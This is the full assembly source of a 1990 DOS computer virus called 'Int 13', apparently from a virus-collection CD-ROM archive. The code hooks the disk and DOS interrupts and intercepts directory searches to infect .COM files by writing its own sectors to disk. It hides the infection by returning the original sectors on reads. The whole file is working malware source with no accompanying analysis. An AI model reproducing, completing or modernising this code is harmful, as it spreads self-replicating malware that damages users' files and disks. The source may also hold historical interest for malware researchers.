HPAVC/HPAVC CD-ROM.iso/SOURCE.ZIP/INT13.ASM

Assembly Source File | 1990-07-05 | 4KB | 310 lines

Code        Segment
        Assume    CS:Code

Old13        =    9Ch
True13        =    9Dh
Saved21        =    9Eh
Temp13        =    9Fh

VStart:        loop    Next    ; Virus ID
Next:        push    ax
        mov    di,13h * 4
        push    di
        xor    bp,bp
        mov    ds,bp
        les    bx,[di]
        mov    di,True13 * 4
        mov    [di-4],bx
        mov    [di-2],es
        mov    ah,13h
        int    2Fh
        push    es
        push    bx
        int    2Fh
        mov    es,bp
        mov    si,21h * 4
        pop    ax
        stosw
        pop    ax
        stosw
        push    si
        movsw
        movsw
        mov    ah,52h
        int    21h
        push    es
        pop    ds
        les    ax,[bx+12h]    ; ax is now 0000h, i.e. ah is 0.
        push    word ptr es:[bp+2]
        mov    si,100h
        mov    cx,si
        mov    di,bp
        push    si
    rep    movs    word ptr es:[di], cs:[si]
        pop    si
        pop    word ptr ds:[bx+14h]
        push    es
        mov    al, offset Continue    ; Let's use it!
        push    ax
        retf

SavedCX        dw    1
SavedDX        dw    0
SavedBX        dw    0
SavedES        dw    0

FileWord    dw    0

SCX        =    offset SavedCX - offset VStart
SDX        =    offset SavedDX - offset VStart

Continue:    mov    es,bp
        pop    di
        mov    al,offset Int21        ; Two times!
        stosw
        mov    es:[di],cs
        pop    di
        mov    al,offset Int13        ; Three times!
        stosw
        mov    es:[di],cs

        mov    es,[bp+2Ch]    ; This assumes SS:
        mov    di,bp
        xchg    ax,bp
        dec    cx
ScanEnv:    repne    scasb
        scasb
        jnz    ScanEnv
        scasw
        push    es
        pop    ds
        mov    dx,di
        mov    ah,3Dh
        int    21h
        jc    NoStart
        mov    dx,si
        xchg    ax,bx
        mov    ah,3Fh
        push    ss
        pop    ds
        int    21h
        mov    ah,3Eh
        int    21h

        pop    ax
        push    ss
        push    si
        push    ss
        pop    es
        retf

NoStart:    mov    ah,4Ch
        int    21h

Int13V:        mov    SavedBX,bx
        mov    SavedCX,cx
        mov    SavedDX,dx
        mov    SavedES,es

Go13:        int    Old13
        jmp    short RetF2

Int13:        cmp    ah,2
        jne    Go13
        push    ds
        push    si
        push    di
        push    cx
        push    dx
        push    es
        push    bx
        push    dx
        int    Old13
        pop    dx
        jc    Exit13
        cmp    word ptr es:[bx],00E2h
        clc
        jne    Exit13
        mov    ax,202h
        mov    cx,es:[bx+SCX]
        mov    dh,byte ptr es:[bx+SDX+1]
        mov    bx,0B800h
        mov    ds,bx
        mov    es,bx
        mov    bh,78h
        int    True13
        jc    Exit13
        mov    si,7A00h
        pop    bx
        mov    di,bx
        pop    es
        mov    cx,100h
    rep    movsw
        jmp    short Exit13_1
Exit13:        pop    bx
        pop    es
Exit13_1:    pop    dx
        pop    cx
        pop    di
        pop    si
        pop    ds
RetF2:        retf    2

Int21:        cmp    ah,12h
        je    FindNext
        int    Saved21
        jmp    RetF2
FindNext:    int    Saved21
        cmp    al,0
        jnz    RetF2
        push    ax
        push    bx
        push    ds
        push    es
        mov    ah,2Fh
        int    Saved21
        push    es
        pop    ds
        mov    ax,'MO'
        cmp    ax,[bx+17]
        jne    Exit1
        cmp    ax,[bx+9]
        je    Exit1
        mov    al,[bx+7]
        add    al,'@'
        push    cx
        push    dx
        mov    cx,[bx+36]
        mov    dx,200h
        cmp    cx,dx
        jb    Exit2
        dec    cx
        test    ch,10b
        jz    Infect
        cmp    al,'C'
        jb    Exit2
        test    ch,100b
        jz    Infect
Exit2:        pop    dx
        pop    cx
Exit1:        pop    es
        pop    ds
        pop    bx
        pop    ax
        jmp    RetF2

Infect:        push    si
        push    di
        push    cs
        pop    es
        mov    di,dx
        lea    si,[bx+8]
        mov    ah,':'
        stosw
        movsw
        movsw
        movsw
        movsw
        mov    al,'.'
        stosb
        movsw
        movsb
        xor    ax,ax
        stosb

        mov    ds,ax
        mov    es,ax
        mov    si,13h * 4
        mov    di,Temp13 * 4

        push    si
        push    di
        push    es

        movsw
        movsw

        mov    word ptr [si-4], offset Int13V
        mov    [si-2], cs

        push    cs
        pop    ds

        mov    ah,3Dh
        int    Saved21
        xchg    ax,bx
        mov    ax,4202h
        mov    cx,-1
        mov    dx,cx
        int    Saved21        ; DX must now be zero (.COM)
Go:        mov    ah,3Fh
        mov    dl,offset FileWord
        mov    di,dx
        neg    cx        ; mov    cx,1
        int    Saved21
        push    [di-8]
        push    [di-6]
        mov    ax,4200h
        xor    cx,cx        ; can it be inc cx ??
        xor    dx,dx
        int    Saved21
        mov    ah,3Fh
        mov    dx,di
        mov    cl,2
        int    Saved21
        mov    ax,[di]
        pop    dx
        pop    cx
        cmp    ax,00E2h
        je    Close
        cmp    ax,5A4Dh
        je    Close
        mov    ax,202h
        push    cx
        push    dx
        mov    bx,0B800h
        mov    es,bx
        mov    bh,78h
        int    True13
        lds    si,[di-4]
        push    di
        mov    di,7A00h
        mov    cx,100h
    rep    movsw
        pop    di
        mov    ax,302h
        pop    dx
        pop    cx
        push    cx
        push    dx
        int    True13
        pop    dx
        pop    cx
        mov    ax,301h
        xchg    cx,cs:[di-8]
        xchg    dx,cs:[di-6]
        push    cs
        pop    es
        xor    bx,bx
        int    True13
Close:        mov    ah,3Eh
        int    Saved21

        pop    es
        pop    si
        pop    di

        movs    word ptr es:[di], es:[si]
        movs    word ptr es:[di], es:[si]

        pop    di
        pop    si
        jmp    Exit2

VName        db    ' Int 13'

VEnd        label    byte
VLen        =    offset VEnd - offset VStart

Code        EndS
        End    VStart